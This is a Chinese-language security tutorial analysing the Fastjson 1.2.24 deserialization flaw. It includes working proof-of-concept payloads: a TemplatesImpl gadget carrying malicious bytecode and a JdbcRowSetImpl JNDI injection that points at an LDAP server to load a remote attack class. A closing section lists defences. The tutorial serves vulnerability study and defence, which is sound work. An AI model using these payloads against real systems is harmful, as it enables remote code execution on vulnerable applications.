从0到1的fastjson的反序列化漏洞分析
字数 1544 2025-08-24 20:49:22
Fastjson反序列化漏洞深入分析与利用
1. Fastjson简介
Fastjson是阿里巴巴开源的一个高性能Java库,用于将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。由于其高效性,被广泛应用于Java Web开发中。
2. 环境搭建
2.1 依赖引入
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
2.2 基础使用示例
public class User {
private String name;
private int id;
// 构造方法、getter和setter省略
}
public class FastjsonTest {
public static void main(String[] args) {
User user = new User("lihua", 3);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
3. 序列化与反序列化机制
3.1 序列化特性
使用SerializerFeature.WriteClassName可以在序列化时写入类名:
String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
// 输出: {"@type":"com.liang.pojo.User","id":3,"name":"lihua"}
3.2 反序列化方法比较
Fastjson提供多种反序列化方法:
JSON.parseObject(json)- 返回JSONObjectJSON.parseObject(json, User.class)- 返回指定类型对象JSON.parse(json)- 根据@type自动识别类型
关键区别:
parseObject会调用getter和setter方法parse只调用setter方法
4. 反序列化漏洞原理
4.1 漏洞触发条件
- 使用
@type指定恶意类 - 目标类中存在危险方法(如Runtime.exec)
- 这些方法在反序列化过程中被自动调用
4.2 漏洞利用链
4.2.1 简单利用示例
public class User {
// ...
public void setId(int id) throws IOException {
System.out.println("setId");
this.id = id;
Runtime.getRuntime().exec("calc.exe");
}
}
// 触发
String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parse(json));
4.2.2 TemplatesImpl链利用
恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
POC构造:
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
"\"_bytecodes\":[\"yv66vgAAADQAJgoABwAX...\"], " +
"'_name':'c.c', '_tfactory':{}, " +
"\"_outputProperties\":{}, \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
关键点:
- 需要设置
Feature.SupportNonPublicField来反序列化private字段 - 利用
TemplatesImpl的getOutputProperties()方法触发字节码加载 _bytecodes字段包含Base64编码的恶意类字节码
4.2.3 JdbcRowSetImpl链利用
POC构造:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", " +
"\"autoCommit\":false}";
JSON.parse(payload);
利用流程:
- 设置
dataSourceName为恶意LDAP地址 - 设置
autoCommit触发connect()方法 connect()方法调用lookup(getDataSourceName())发起JNDI请求
5. 漏洞利用技术细节
5.1 反序列化流程分析
parseObject调用parse方法- 解析JSON字符串,识别
@type指定的类 - 通过反射加载类并实例化对象
- 调用setter方法设置属性值
- 对于
parseObject,还会调用getter方法
5.2 TemplatesImpl链分析
- 反序列化触发
getOutputProperties()调用 newTransformer()->getTransletInstance()defineTransletClasses()加载_bytecodes中的恶意类- 恶意类构造函数中的代码被执行
5.3 JNDI注入分析
JdbcRowSetImpl的setAutoCommit()触发connect()connect()调用lookup(dataSourceName)- 从恶意LDAP服务器加载并实例化攻击类
6. 防御措施
- 升级Fastjson到最新安全版本
- 使用
@JSONType(ignores = {"propertyName"})忽略敏感属性 - 使用
ParserConfig.getGlobalInstance().addDeny()设置黑名单 - 使用
AutoTypeCheckHandler进行自定义类型检查
7. 总结
Fastjson反序列化漏洞的核心在于:
@type特性允许指定任意类- 自动调用getter/setter方法的机制
- Java反射机制的可滥用性
通过深入理解这些机制,安全研究人员可以更好地发现和防御此类漏洞。